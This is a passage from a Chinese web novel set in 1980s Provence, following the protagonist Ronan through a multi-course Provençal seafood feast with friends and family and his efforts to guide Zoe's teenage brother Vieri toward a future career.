普罗旺斯的美食佳肴多产在夏季。 在这个农产品几乎全部自给自足的区域,吃不到夏季的各种瓜类、桃子、樱桃和新鲜蔬菜时,冬季的海鲜可能是大家唯一的期待了。 普罗旺斯人每天至少有两、三个小时的时间是全身心在餐桌旁度过的。 没有美食日子还有什么意思呢? 餐厅里的海鲜种类有限,莉亚说今晚要用普罗旺斯的方式烹饪海鲜,还需要购买一些有特色的本地食材。 这个任务交给了对本地食材市场熟悉的弗雷迪身上。 “海鲜大餐?你是说今晚要吃全部流程的普罗旺斯特色海鲜大餐吗?”弗雷迪确认完今晚的菜单后连班都不想上了,“你们还缺什么?我现在就去买!” 莉亚给弗雷迪报出了一份长长的购买清单,挂掉电话,她开心到一蹦一跳回后厨: “海鲜!海鲜!我爱海鲜!!” 罗南的目光追随着莉亚的背影离开,忍不住笑道: “普罗旺斯人果然对吃‘痴迷’啊。” 最近居住在卢尔马兰的艺术家们聚会更加密集了起来。 在佐伊的动员下,大家全部在为2月吕贝隆的‘大地艺术’项目做准备,歌迪亚拿到了确切的消息,最早一批送展评选的时间在1月10号。 和殿堂级艺术大师同台竞技,若想要脱颖而出,除了出色的能力外,还离不开出彩的创意。 大家每天都会挤出一些时间来做思想碰撞,以求能找到一个好的主题切入点。 佐伊当然是其中最活跃的那个,她对这次活动期待满满,因此非常认真的对待。 不过当罗南偷偷告诉她,今晚要吃海鲜大餐时,女艺术家居然暂时脱离了‘艺术海洋’,沉入到美食的海洋中去了。 “真的吗?今晚吃海鲜大餐?”佐伊浅蓝色的眸子里出现了像星辰一样的亮光。 “是的,亨利送来了牡蛎,餐厅里有虾和螃蟹,莉亚还让弗雷迪去买其他海鲜了。”罗南压低声音说。 佐伊期待的调转身子,面向罗南问: “妈妈还让弗雷迪叔叔买什么了?” 莉亚和弗雷迪打电话的时候罗南在做别的事情,他并不知道具体要买什么,摇头道: “不知道,我没听到。” 佐伊立即起身,放下一桌子正在聊‘后印象派’的艺术家,快步走向后厨。 要知道,除了餐厅开业第一天,人手实在忙不过来让佐伊进后厨帮了一天忙外,她再也没去过那个地方。 现在她居然为了在第一时间弄清海鲜大餐里有什么食材,去后厨找莉亚了。 “佐伊去干什么了?”薇薇安愣愣的问罗南。 聊的好好的啊,人怎么走了? 罗南尴尬的吸了下鼻子: “可能饿了吧” 挑食的佐伊居然爱吃海鲜? 这是继卡瓦永甜瓜后,罗南发现的第二种佐伊喜爱的食物。 佐伊离开的太突然,罗南‘妇唱夫随’暂时顶了上去: “大家刚刚聊到哪儿了,继续啊,继续继续。” 艺术家们继续热闹的讨论起来。 罗南偷偷回头看佐伊离开的方向。 晚上到底是什么海鲜大餐啊,能把人一个个迷成这个样子? 今天的聚会时间比往常晚了一些,因为莉亚还有工作要忙。 不过一切的等待都是值得的。 从餐前面包开始,罗南就发现今晚的基调大不相同了。 以往跟餐前面包一起端上来的会是橄榄油、黑橄榄酱、蒜泥蛋黄酱、腌洋葱、腌橄榄、新鲜的山羊奶酪或者盐和香料这些老朋友。 但今天这些熟悉的面孔一个没见到,取而代之的是一种深褐色近乎固态、有浓郁海鲜气味的酱汁。 罗南已经无法确认那是不是‘酱汁’了,但这个时候和烤好的面包一起出现,肯定是抹面包吃的。 弗雷迪永远是吃饭最积极的那个。 在盘子落桌的瞬间他便抬起屁股,用刀子挖了一大块那种酱抹到面包上,一口咬下去,罗南隔着几米都能听到面包酥脆诱人的‘咔咔’声。 其实罗南并没有吃餐前面包的习惯,吃到最后没有吃饱他才会吃一些面包,但这种情况在普罗旺斯的正式聚会上鲜少发生。 普罗旺斯的聚会只会发生吃不下的情况,没有吃不饱的时候。 但此刻罗南食指大动,和一桌人一起享用起了这个奇怪的酱汁。 路易吃了两口,才想起来给巴黎一家人科普: “这是我们本地的一种传统酱料,叫鳀鱼酱,是用鳀鱼泥、大蒜、橄榄油和香芹熬制成的。” 佐伊细嚼慢咽的说: “小时候我可以用这个酱汁吃下半根法棍,不过鳀鱼酱不是什么时候都能吃到,鳀鱼很容易不新鲜。” 弗雷迪吸吮着手指说: “这些鳀鱼绝对新鲜,我发誓!” 鳀鱼酱非常美味,但这只是餐前面包,大家没有傻到用它填满肚子,后面一定还有大菜等着他们! 几分钟后,妮可拉端着今晚的第一道前菜出现: “海鲜沙拉,食材非常新鲜,记得配白葡萄酒和粉红酒啊,不然浪费了。” 在传统法餐中,不同食材要配不同的酒喝。 重口味、油脂丰富的肉类和酱汁适合配单宁适中的红葡萄酒,例如牛肉、羊肉、鹅肝和各类奶酪拼盘。 清爽但有淡淡酸味的白葡萄酒适合配海鲜、禽类和奶油酱,例如马赛鱼汤、法式焗蜗牛和奶油白汁鸡都是白葡萄酒不错的搭档。 香槟在普罗旺斯是万能酒,餐前餐后都可以喝它,但许多人倾向在吃鱼子酱和油炸小吃时必须搭配一杯香槟。 还有一类本地橙酒,它的最佳搭档是香料浓郁的北非塔吉锅。 类似的搭配还有许多许多. 而拥有清爽果香和轻盈酒体的粉红酒,适合夏日冷盘、海鲜和各类地中海风味。 按照路易的说法,今天这道沙拉就是最传统的地中海做法。 路易指着沙拉给巴黎一家人介绍: “这道菜沙拉你们应该没吃过,在很久以前,地中海附近的沙拉是不放蔬菜的,只有海鲜。” 弗雷迪一边嘟囔一边向自己的盘子里装沙拉: “这才叫沙拉,我最讨厌吃菜了!” 佐伊用胳膊碰罗南: “快尝尝,非常特殊的味道,和尼斯沙拉不一样。” 在普罗旺斯,一提到和海鲜相关的沙拉,大家脑海里马上会出现尼斯沙拉的味道。 这道源自法国南部城市尼斯,以新鲜地中海食材和层次分明口感著称的沙拉,是普罗旺斯菜的代表之一。 但今天的沙拉和尼斯沙拉的味道完全不一样。 罗南没有吃,只是在旁边看了看,又闻了闻,之后起身去拿粉红酒和杯子: “我不是故意要传播粉红酒,但是朋友们,这道菜和粉红酒一定会非常搭配,我希望你们尝尝。” 阿兰耸肩,笑着打趣: “罗南,你还没有尝它的味道呢你这个不是‘故意’也太故意了吧。” 全卢尔马兰都知道,罗南是一个狂热的粉红酒爱好者,他希望餐厅里的所有客人都能和他一样爱上这种粉红色的液体。 罗南在每个人面前放了一个新杯子,并给他们倒了小半杯粉红酒: “这道菜里放了香橙和大量的柠檬,这都是和粉红酒很搭的味道,而且章鱼足、鱿鱼和虾本身就是粉红酒的好搭档,你们快试试。” 阿兰的笑容僵硬在脸上: “不吃就能知道它的味道?” 这道沙拉的特别之处就是放了香橙和柠檬,所以它和用橄榄油、红酒醋、第戎芥末、盐和黑胡椒调味的尼斯沙拉完全不是一个味道。 佐伊的‘普罗旺斯’性格再次被激发,对阿兰说: “你们还是和罗南吃饭的次数太少了,所有菜罗南看一眼就知道怎么做了。” 罗南一边给大家倒粉红酒,一边严谨更正: “不是知道怎么做,是知道里面用了什么.亲爱的,我没有你说的那么厉害。” 不过也许再升两级【烹饪】可以有这个能力? 佐伊的‘普罗旺斯’性格暂时没有消退的意思,她不以为然的说: “差不多,亲爱的。” “好吧。”罗南笑着举起粉红酒杯,对那些对粉红酒抗拒的男士说,“先生们,妇女都走出家门工作了,你们还在纠结喝粉红酒是否丢面子吗?” 桌上的男士们为难的互相看了看,似乎无法做抉择。 维埃里率先给这些男士起到了表率作用。 他吃了一口沙拉,又配了一口粉红酒,惊喜的说: “风味更独特了,真的很棒!” 见大家没有反应,他转头看着路易抱怨: “好了爸爸.你在家里又不是没喝过,每次你忘记买红葡萄酒就会用佐伊的粉红酒‘解馋’,别矜持了好吗。” “哈哈哈——”路易对儿子投去‘慈爱’的目光,喝了一口粉红酒配地中海特色沙拉,还没完全把食物咽下去就开始‘哇哦哇哦’不停了。 他用开玩笑的语气对弗雷迪和阿兰说: “如果知道粉红酒和海鲜这么搭,我绝不会偷偷喝,一定早和罗南一样爱上它了。” 男士们嘻嘻哈哈的开起玩笑,莉亚和弗洛西各拿了两个大盘子出来。 她们将一共四个大盘子放在长桌的不同区域。 “亨利买的牡蛎非常新鲜和鲜美,大家快吃吧。” 今天大家选择了牡蛎的最鲜美吃法,只需挤上一些柠檬汁即可。 不多时,桌子上就堆积起了高高的牡蛎壳。 见佐伊一连吃了3枚,罗南好奇的问: “你最喜欢吃牡蛎?” 佐伊可爱的舔了一下嘴,笑着说: “都爱,我很爱吃海鲜,你还记得吗?你送我去艾克斯进修时,问我有没有当地的特色菜推荐,那天我点的全部是海鲜” 她欢快的笑了两声,像是恶作剧得逞一样对罗南说: “其实就是我想吃啦,夏天吕贝隆的海鲜很少,但艾克斯距离地中海近。” 罗南宠溺的把一枚牡蛎喂到佐伊嘴边: “以后咱们天天吃,这个冬天让你吃个够。” “不用。”佐伊听话的吃下第四枚牡蛎,“偶尔吃一次就行了。” 罗南拿纸巾帮佐伊擦掉嘴边的汤汁: “那不行,赚钱不就是为了买喜欢的东西、吃好吃的食物吗?以后你每天来餐厅,我保证顿顿让你有海鲜吃。” 佐伊撇嘴: “不行不行,我会胖的。” 罗南笑着说: “我陪你一起胖。” “让一下,让一下,上菜了!” 几位勤劳的普罗旺斯妇女在每个人的面前放下一个碟子。 “今天的第一道主菜——奶油蒜蓉龙虾!” 罗南拿起刀叉,在心里‘哇哦’了一声。 感觉吃很久了啊,怎么才第一道主菜。 莉亚路过小情侣,悄悄把头埋在他们两个中间,小声说道: “别喝太多酒,也别吃太多面包,后面还有6道主菜呢。” 罗南一怔。 许久没有笼罩在他头顶上的、关于普罗旺斯人那深不见底胃的恐惧感再次袭来。 他已经许久没有经历过被主菜轰炸的情形了。 其实普罗旺斯人不是每次聚会都会有许多菜,上一次经历是因为大家在向刚刚搬到卢尔马兰的罗南表达友好,所以多做了几道菜。 而今天,罗南猜是因为这些普罗旺斯人太爱吃海鲜了。 罗南的左侧,佐伊期待的搓起了手手,这道菜还没进嘴就开始期待起下一道了。 罗南再看向他的右侧,还丝毫不不知道接下来要面对的是什么、迷醉于奶油蒜蓉龙虾美味的父母,默默叹了一口气。 哎,一会你们就笑不出来了。 吃完奶油蒜蓉龙虾,冯珍和罗天海意犹未尽,用面包蹭了两下盘子。 吃完当地特色的香料烤鳕鱼,他们还有心情和身边的朋友笑着讨论,说这道烤鳕鱼的味道和中餐有点像。 吃到普罗旺斯炖海鲜锅,他们发现了不对劲,渐渐放慢了步伐,但下一道菜白兰地风味焗贻贝接踵而至直接击溃了他们原本的计划。 见无汤版本的马赛鱼汤摆到面前时,冯珍和罗天海开始后悔为什么要吃下过多的面包。 但当看到半条鲈鱼出现在自己的盘子里,他们面色惨白意识到问题根本不在那几块面包上。 “吃不下了,我真的一口都吃不下了!”冯珍把盘子护在胸口位置,生怕弗洛西给她夹两根今天的主食——海鲜意面。 “一根,就给你一根,你尝尝味道。”热情的弗洛西拿着意面夹,和冯珍玩起了老鹰捉小鸡的游戏。 “半根我也吃不下了,我早就饱了——”冯珍把罗天海推了出去,“老罗,你尝尝味道。” 罗天海比冯珍‘罢工’的更早,他的肚子里还有将近一瓶粉红酒呢。 见妻子踢来了皮球,他本想传给儿子罗南。 但看到罗南居然在默默吃面,这个球是死活传不出去了。 罗天海马上想出了一个合理的借口: “不吃了弗洛西,我打算多喝点粉红酒,见大家都喝了粉红酒我太开心了。” 弗雷迪把一口意面嗦进嘴里: “我解释过了,我那是拿错了杯子。” 路易在吃桌子上剩下的几颗牡蛎: “能拿错四五次?罗南都给你倒第二杯了。” 弗雷迪闷头吃面不再说话。 阿兰很客观的评价: “粉红酒和海鲜的味道很搭,喝腻了白葡萄酒偶尔换换口味挺不错的。” 身体不好的老卡尔每次聚会只有一杯酒的额度,但他还是很给面子的把今天的额度全部给了粉红酒。 他慈祥的看着罗南说: “我很喜欢粉红酒的味道,下次聚会我会继续喝的。” 努力跟到最后的罗南吞下嘴里的海鲜意面,举起酒杯敬老卡尔: “谢谢。” 老卡尔回给罗南一个更加慈祥的微笑: “也谢谢你。” 罗南笑着低下头。 布兰科应该是告诉老卡尔卢尔马兰未来的特色之路是什么了。 吃到这个阶段,桌子上还能出现此起彼伏的‘嗦面’声让冯珍吓的不敢说话。 以前大家经常吃中餐,或者是烧烤和火锅,各自去拿菜看不太出大家的食量。 吃法餐就非常明显了,因为每个人面前的份额是固定的,谁吃的多谁吃的少一眼就能看出来。 普罗旺斯人太能吃了. 难道他们有两个胃吗? 她看向罗南,发现罗南也在看她。 母子两短暂的用眼神交流了一下。 冯珍:你也还能吃? 罗南:嗯哼,这才哪到哪儿?你太弱了妈妈。 冯珍:赶紧吃去吧你! 正在母子俩交流之际,莉亚端出了今晚的第二道‘主食’。 “主食也有好几道吗?”冯珍已经不知道用什么来形容了。 莉亚给巴黎一家人介绍: “这是我们当地的龙虾馄炖。” “馄炖?”冯珍和罗天海同时看向那道菜,发现果然是馄炖的模样。 实话实说,虽然撑到不行,但他们被这个叫法所吸引了,不由得又拿起了勺子。 “很鲜。”罗天海点评道。 冯珍一边吃一边看罗南,母子俩开启了第二轮眼神对话。 冯珍:说谁不行?看没看到,我又吃了! 罗南无语的摇头:好好好,你厉害!你真棒!! 吃完最后一颗馄炖,冯珍如释重负的后仰到了椅子上。 这顿漫长的海鲜大餐终于结束了! 怎料妮可拉又一次从后厨拿来的新的东西: “大家来吃甜品吧,今天是海盐焦糖蛋糕,也算是给今天的海鲜大餐画上一个完美的句号。” “太棒了,我最爱吃海盐蛋糕了。” “我都流口水了!” “妮可拉,给我切一大块,多要酱,谢谢!” 冯珍彻底崩溃并开始怀疑人生,眼神不由得呆滞了起来。 罗南突然在脸色煞白的母亲身后出现,幸灾乐祸的说: “怎么了妈妈,吃累了吗?别停啊,后面还有餐后水果和餐后酒呢!” 第256章 我来帮你找到未来的方向 普罗旺斯人的胃真的是无底洞吗? 当然不是的。 如果他们的胃真的通往异界,就不会在吃完饭后人手一杯‘普罗旺斯窟窿’了。 普罗旺斯人一旦吃了大餐,必须喝点极烈的渣酿白兰地给胃打个‘窟窿’。 喝下这一小杯白兰地,再厚重油腻的食物都能打出一个大洞,更不用提海鲜这种‘好消化’的食物了。 “我觉得我又可以吃下一些东西了。”弗雷迪问莉亚,“后厨还有没用完的海鲜吗?” 弗雷迪的妻子弗洛西阻拦道: “弗雷迪,你的肚子越来越大,我认为你今晚吃的足够多了。” 弗雷迪摊开双手: “亲爱的,你误会我了,我只是在提醒你们别忘记把没用完的海鲜收起来,你知道的,现在天气还没有那么凉,它们很容易烂掉。” 弗洛西白了丈夫一眼,起身去后厨: “还有人需要迷迭香雪泥吗?” 不是每一个普罗旺斯人都习惯用高度白兰地打‘窟窿’,这一部分不想沾酒精但又希望自己的胃加速工作的人,会启用另外一种普罗旺斯食材达到和‘普罗旺斯窟窿’同样的效果,那便是迷迭香雪泥。 这款由迷迭香嫩叶、水、糖、柠檬和蛋白制成的饮品芳香扑鼻、清新爽口,用它来解腻再好不过,即使没有吃太多食物,也可以点一杯品尝,普罗旺斯有许多女性就是这样做的。 “再给我一杯吧。”冯珍对弗洛西说。 没有吃焦糖海盐蛋糕的她,认为自己可以多吃点别的甜品。 “我也要亲爱的。”莉亚也要了一杯。 罗南侧头问佐伊: “你需要吗?” 佐伊指着自己面前的白兰地说: “它更适合我。” 罗南抿了下嘴,没有再说什么。 佐伊现在不止存款见涨,酒量也见涨,是个不折不扣的女强人了。 “我也想要一杯,弗洛西阿姨。”维埃里举起手。 今天看维埃里格外不顺眼的路易不悦的说: “维埃里,我没有跟你开玩笑,你该练练酒量了,我像你这么大的时候不止认识了你妈妈,还可以喝一瓶半红葡萄酒了,而你现在喝一杯半粉红酒就要开始‘吃甜品’。” 在路易的眼中,迷迭香雪泥和甜品是划等号的关系。 那并不适合卢尔马兰未来的最佳农夫候选人,即使是最佳房产中介继承人也不合适。 现在已是12月,再过1个月维埃里就17岁了,但他一点都不像是这个年纪的人。 “弗洛西阿姨,我不需要了。”维埃里离开餐桌,向着大门的方向走,“我吃好了,今晚有球赛我先回去了。” 莉亚看着维埃里的背影摇头: “最近越来越难管教了。” 路易气急败坏的说: “该死的青春期!” 佐伊对着罗南挑了下眉毛: “你没发现吗,维埃里最近总是拆爸爸和妈妈的台现在家里看他不顺眼的不止是我自己了。” 罗南喝了一口‘窟窿’,抿着嘴说: “但这不妨碍维埃里是个好孩子,也许是你们对他太苛刻了,他只是喜欢足球、不喜欢喝酒,这完全没有问题啊。” 莉亚叹了一口气: “不止是这些,你不觉得.你不觉得维埃里的心智也有些问题吗?他每次见到你和佐伊亲热就会抱怨恶心.可是上帝啊,吕贝隆的女人15岁就可以结婚了。” “咳咳——”路易捂着嘴咳嗽了两声,以提醒妻子桌子上的某个人脸色不太好了。 莉亚马上纠正道: “当然15岁是不合法的,而且我认为女孩子为了保护自己认真考虑人生大事是非常有必要的事,但维埃里明年就到了可以结婚的合法年纪,可你们看他像吗?” 奚落维埃里的话题,必然少不了佐伊: “也许维埃里可以和足球结婚。” 这个问题罗南也没有什么发言权,因为他在吕贝隆也属于‘晚婚’的人了: “可能晚熟吧,我觉得维埃里挺正常的啊,你们不要过分担心。” “只有你觉得维埃里正常。”佐伊撇嘴,“他现在家里跟谁都是一副不服气的样子,像是年轻版的‘亨利’。” 罗南倒吸一口凉气。 有这么严重吗? 餐厅开业后,罗南再也没陪维埃里出去踢过球,也没有和他再出去遛过狗。 后来餐厅里有了员工,连集市也不需要维埃里去帮忙了只是每周聚会上会见上那么一两次。 这么算下来,罗南是有许久没和维埃里深入接触过了。 佐伊的比喻让莉亚找到了一个‘救星’,她求助的对罗南说: “如果有机会你多和维埃里接触一下吧,他喜欢你,也一直以你为偶像,也许你说他他能听进去。” 罗南的强项不正是让这些‘刺头’改邪归正、性格大变吗? 路易不给罗南任何思考和反应的时间,举起他的‘窟窿’敬罗南: “先谢谢了。” 罗南哭笑不得的拿起酒杯。 这就要帮我积累‘教育’孩子的经验了吗 不过谁让那是维埃里呢? 佐伊的弟弟就是我的弟弟! 在10月之前,罗南一直犹豫要不要在门前的那片地里种点其他东西。 但路易告诉罗南,由于卢尔马兰今年的葡萄收成和品质特别好,带葡萄园的房子能溢价不少。 卢尔马兰未来要围绕粉红酒发展,罗南所种的歌海娜是酿制粉红酒的核心品种,于是他决定把这片地保留下来。 那么他也要给这片葡萄园进行冬季修枝了。 路易一直想把维埃里培养成农夫,这次剪枝罗南叫来了维埃里和他一起。 这是维埃里第二次下地干活,但这个聪明的小伙子很快便掌握了诀窍,可以和罗南并驾齐驱了。 他们两个人各剪一列葡萄藤,背对背朝着一个方向前行。 罗南还让维埃里把啵啵它们三个小家伙带来了,他也带着小黑和马赛一起。 两个人干农活,五只狗在周围奔跑嬉戏,在这样的氛围里想要聊点什么话题也更轻松些。 罗南语气轻快的对维埃里说: “吕贝隆12月的天气也没有那么怎么冷啊,我和你姐姐约着周六集市下午去博尼约徒步看雪松林,你一起去吗?” 罗南看不清背后维埃里的表情,但听声音似乎心情挺不错的: “那条雪松路我们当地人冬天都去过,你和佐伊去吧,我就不去了。” “一起去呗。”罗南积极的邀请,“还是说你周六下午有事?” 维埃里语气平静的说: “我能有什么事啊,就是不想去打扰你和佐伊,我一去佐伊就‘吃醋’,我可不去。” 罗南把葡萄藤一根一根铺到地上: “行,不去就不去吧,我们晚上早点回来,我可以陪你看足球。” 现在天黑的早了,很难挤出时间陪维埃里踢球,但看足球的时间还是有的。 维埃里继续手上的工作: “也不用了,你好不容易休息一天,去做点别的事情吧。” 罗南停下动作,回头看维埃里。 如果维埃里主动要求和他一起出去玩,或者嚷嚷着罗南陪他看足球,罗南还能放心一些。 这说明对面的还是他熟悉的那个维埃里。 但现在的维埃里已经让罗南感觉到陌生了。 这还是那个一放学就跑去木工坊破坏他和佐伊谈恋爱的维埃里吗? 不过万幸的是,维埃里对罗南的态度还是好的,没有在家里那么叛逆。 罗南用平和的语气说: “感觉你一下子长大了。” 维埃里一边干活,一边用孩子一样的语气笑着说: “只有你这样觉得,爸爸妈妈总是觉得我过于幼稚,可能因为我喜欢和足球玩而不是和女孩玩吧。” 罗南叹气: “你也要体谅他们,其实他们就是太担心和在乎你了。” 维埃里很懂事的说: “我知道啊,所以爸爸我不让我吃迷迭香雪泥我就不吃,妈妈不让我看电视我就不看,他们想让我当农夫我就当。” 罗南这一次把修枝剪放下,认真的对维埃里说: “如果不想做农夫,你完全可以提出来,我相信路易和莉亚都不会强迫你的。” 维埃里没有回头看罗南,只是抬头叹气: “但我不知道还能干什么,明年就要高中毕业会考,我一点方向都没有你知道的,我喜欢的东西只有足球,所以注定未来要从事一项我所不喜欢的工作,既然是这样,农夫或者房产中介有什么区别吗?” 罗南关心的问: “你在为明年的高中毕业会考担心?” 1986年法国的高中教育为三年制。 十年级是通识教育阶段,以夯实基础知识为目的,同时全面探索兴趣,为分科做准备。 十一年级会初步分科,侧重文、理和经济这几个专业方向,必修课是哲学和体育。 十二年级为深化分科学习,备战即将到来的高中毕业会考。 高中毕业会考也是大学入学资格认证。 维埃里低头踢了一下地上的藤蔓: “是啊,同学们都有明确的大学和专业了,只有我什么都不知道.我连未来想干什么都不知道。” 罗南建议道: “从事和足球相关的工作也不可以吗?” 维埃里沮丧的说: “我十一年级选的是经济.” 罗南鼓励似的拍了拍维埃里的肩膀: “高中毕业会考在6月份举行,还有半年时间,你一定可以找到其他感兴趣的东西。” “没有那么简单.”维埃里苦涩的说,“也许我只能去做农夫和房产中介了。” 罗南模仿着巴蒂的语气说: “你是我见过最聪明的人,尤其在商业头脑方面,你去集市转一圈,能马上计算出我们应该标的合适价格,维埃里,我认为你所感兴趣的东西其实有许多,只不过你不自知而已。” “真的?”维埃里半信半疑的问。 “当然!”罗南重重点头,肯定的说,“这样吧,未来你有时间就过来找我,我给你安排一些不同方向的事情做,也许可以帮助你更全面的认清自己?” “好啊,可以。”维埃里的语气终于欢快了起来。 第257章 忙碌的罗南 法国教育‘重效率、轻时长’,强调课堂学习与自主时间的平衡,每日学生可以拥有2个小时甚至以上的超长午休。 山区里的学校还会考虑通勤原因早早放学,即使维埃里已经上12年级,依然可以在4点半到家。 以前他会在晚饭之前找点事情做,吃完饭看一会电视然或者踢一会足球后开始学习,但自从和罗南聊完未来,他放学会直接来餐厅,吃完晚饭后再回去。 罗南会每天给维埃里安排点不重的活儿干,也会叮嘱他留意身边人和客人聊的话题。 餐厅里形形色色的人那么多,做什么行业的都有,把眼界打开说不定思考问题的逻辑和角度也会不同了。 同时罗南还对维埃里说,如果不想来了随时可以停下,这绝对没有强迫的意思。 他完全可以做回以前那个无忧无虑、只喜欢足球的维埃里。 被父母打上‘幼稚’标签的维埃里很喜欢一群为一个目标努力的工作氛围,踢足球不也是一样的道理吗? 11个人心向一个方向努力。 同时他也希望通过在餐厅里的表现,证明自己并不是个幼稚的孩子,他拥有匹配17岁年纪的能力,因此格外珍惜每天的这1个多小时。 “女士们,甜品齐了,祝你们用餐愉快。”维埃里把四份蛋糕逐一放到餐桌上,随后去到另一张桌子帮服务员一起收拾。 待他离开,薇薇安表情丰富的问佐伊: “那是罗南新招的服务员吗?挺帅的啊.而且看起来很勤劳,一直忙前跑后的,他叫什么?你知道他有没有女朋友吗?” 佐伊插了一小块蛋糕放到嘴里,表情阴沉的说: “那是我弟弟。” 薇薇安瞬间石化住了: “你们为什么一点交流都没有?” 从点餐到上酒、上菜、上甜品她们这桌全部由佐伊的弟弟服务,但这两个人零交流。 如果没记错的话,那人还称呼佐伊为‘女士’。 佐伊语气复杂的说: “可能想更好的融入环境吧,罗南安排他在这里体验生活。” 维埃里最近和家人的关系非常不好,有的时候路易和莉亚想主动和他聊聊,维埃里全部用逃避对待。 现在他唯一信任的人只有罗南 虽然佐伊经常和维埃里斗嘴,也会偶尔奚落两句,但她真心希望罗南能帮助维埃里顺利度过青春期的尾巴,让他重新成为那个快乐、没心没肺的弟弟。 法国学校经常给学生安排各种实践活动或者鼓励他们出去体验生活,佐伊说的借口并没有让朋友们产生什么怀疑。 薇薇安四处看了看: “提到罗南,怎么没见到他人呢?今天不是周五吗,他应该在餐厅啊。” 餐厅的常客都知道,周五和周六的下午罗南会在餐厅里。 佐伊咬着勺子说: “罗南在给葡萄园剪枝。” 平时罗南要进山采松露,所以给葡萄剪枝的速度比较慢,预计要到1月份才能完全剪完,不过11月-1月都是修枝叶的时间,慢一点也没关系。 “罗南真是大忙人啊,采松露、经营餐厅、照顾葡萄园——”薇薇安故意用开玩笑的语气问,“他还有时间陪你吗?” 默默吃甜品的歌迪亚做了一个‘你快闭嘴吧’的表情: “薇薇安,求你不要再提这个话题了好吗?那天你不在,罗南说周六要陪佐伊去博尼约徒步。” 宝莱特夹着嗓子,做起夸张的肢体动作: “不要不要,你平时太忙了,周六休息吧!” 歌迪亚突然攥住宝莱特的手,含情脉脉的说: “可是佐伊,我跟你在一起时身心就会放松下来啊,我想和你一起去。” 薇薇安翻了个白眼: “幸好我那天没来。” 她一边吃甜品,一边看着维埃里说: “不过佐伊,你弟弟长的真的挺不错的。” 佐伊用祈求的语气说: “好了好了,咱们还是说‘大地艺术’项目吧。” 她有些理解维埃里了. 如果有朝一日维埃里和女朋友在她面前亲热,她也会觉得那很难‘接受’的。 罗南很喜欢葡萄藤,时常站在落地窗后观察它们。 喜欢看它们按特有的规律随藤蔓伸展的婀娜身姿。 也喜欢看它们由春天的鲜绿变成夏天的深绿,再变成秋天的橙黄与暗红的过程。 还喜欢看冬天剪枝后葡萄藤傲然挺立在空旷土地上的雄伟样子。 现在罗南更爱葡萄藤了。 因为这些东西在不久的将来,将会以另外一种形态和样子出现在普罗旺斯。 剪下来的葡萄藤罗南并没有扔也没有烧,全部整理好堆放进驴棚里。 不过它的驴棚面积不大,里面还有许多木工工具,估计再剪个三四次就放不下了。 “这驴棚太小了。”罗南皱着眉头嘀咕。 这个小小的驴棚平时做家具都有些‘施展不开’,存了葡萄藤后肯定没办法再干活用。 罗南不知道这批葡萄藤什么时候会用上,但他清楚明年一开春他就要和佐伊一起装修了,有可能要使用到这个区域。 所以接下来必须找一个其他的地方堆放它们。 但存哪里呢? 罗南从驴棚里出来,在夕阳下观察他家的后院。 后院的面积很大,空置的区域也很多,但就是没有能给它们‘遮风挡雨’的地方。 不知道今年冬天会不会下雪,如果被长时间泡着未来就不能用了。 这个时候,罗南再次回头看向那个老旧的驴棚。 “要不然直接把它升级了?”他摸着下巴小声嘀咕。 尝到了机械的魅力,罗南和佐伊未来肯定不会用手工工具再做家具了,至少赶工期的时候不会用。 他们都想快点结婚,肯定越快越好。 但无论是罗南家还是佐伊家,都没有足够大的地方装下两个人做家具的机械工具,他们需要一个面积足够大的专业工作间。 这个想法刚一出现,罗南就开始兴奋。 拥有一个又大又宽敞的工作间是他从小的梦想,而采购东西又是佐伊的兴趣爱好,他都不敢想,如果要搭建一个工作间会给两个带来多大的乐趣! 只是不知道卡福有没有时间? 这个工程约等于盖了一个小房子,罗南一个人肯定无法完成,需要找专业的人来做。 正好1000个花环完成的差不多了,现在都堆在餐厅的二楼和三楼。 罗南决定一会去餐厅联系一下卡福,除了告诉他提前完成订单这个好消息外,也问一问他的工期问题。 罗南没具体统计过1000个花环具体是由多少个人共同完成的,但想来一定超过了他之前的预估。 一开始他觉得卡着15号才能做完,做了两天罗南预估10号应该能完成,但最终的结果是今天才7号,罗南就要找人去数数,怕超过了数量。 罗南回到餐厅,帮忙清点完数量的康奈尔和特奥正好从楼上下来。 “930多个,明天肯定够了。” 罗南有些头疼的说: “那要赶紧通知大家没做的别做了。” 来拿材料的人太多,计算起来非常麻烦。 罗南也算是吸取教训了,下次再接订单一定要找个专门的人统计每个人分别拿走了多少材料饰品。 花环订单就跟开餐厅的情况一样,有了第一天的手忙脚乱才有之后的合理规划人效。 康奈尔不以为然的说: “没事,超了我们就先留着,说不定明年又能继续卖了呢。” 特奥坐到他的老位置,提醒罗南: “圣诞节快到了,你别忘了策划活动啊,安娜等着你给她礼物呢。” 除了还愿盛典,万圣节是卢尔马兰今年第二热闹的日子,不止卢尔马兰的村民盼着罗南再策划一次活动,罗南在梅纳村摆摊时,也有外村村民问这件事了。 他对面的摊主乌尔班娜已经连问三周了。 在这些邻村村民的概念里,卢尔马兰就是吕贝隆的‘艾克斯’,到了节日他们必定要过来看看的。 罗南揉了揉脑袋。 说12月要过的轻松一些,但这一桩桩一件件的事情太多了。 采松露、餐厅、剪葡萄枝、编织、盖工具房、圣诞节又要忙不过来了。 罗南快速整顿心情,向着收银台走: “知道了,下周就开始想圣诞节的活动主题。” 特奥在后面大声喊道: “多策划几天啊,万圣节就一天,我都没玩够!” 罗南:“.” 又是甜蜜的烦恼! 罗南给卡福打电话,通知他明天就能完成,可以去送货了,并询问卡福有没有时间在后院给他搭一个工作房。 卡福让罗南直接把货送到阿普特,但他没回答工作房的问题,只是说过几天他会再去一趟卢尔马兰,到时候见面聊。 挂了电话,罗南马上开始准备送货的事,但他的兄弟们现在白天有工作要忙,谁都没有时间。 不过特奥和康奈尔马上去村里帮罗南找其他会开卡车的村民,应该很快就能找到。 罗南在餐厅里不停的叹气。 太缺人了 如果身边能再多几个帮手就好了。 维埃里完成了今日的‘体验生活’,离开餐厅回家学习时见罗南一直叹气,懂事的说: “寒假我去考驾照,以后我帮你送货。” 罗南在他脑袋上摸了一下: “你先好好学习。” 维埃里和罗南挥手告别: “开车当然也算是一种生活实践,我的同学里有很多人会开车了,这样我还可以送妈妈去阿维尼翁参加甜品师考试,爸爸和佐伊每天都很忙,无论谁去送妈妈都很很耽误他们赚钱,我去送最合适。” 罗南笑着目送维埃里消失在夜幕里。 维埃里太懂事了. 这么好的孩子怎么会有问题呢? 第258章 雪松之路 第二天是周末,罗南带着维埃里一起去梅纳村的集市卖东西。 随着季节变换,这个吕贝隆地区最大、最知名集市也换了面貌。 卖果蔬的摊位少了,卖工艺品、衣物和生活用品的摊位多了。 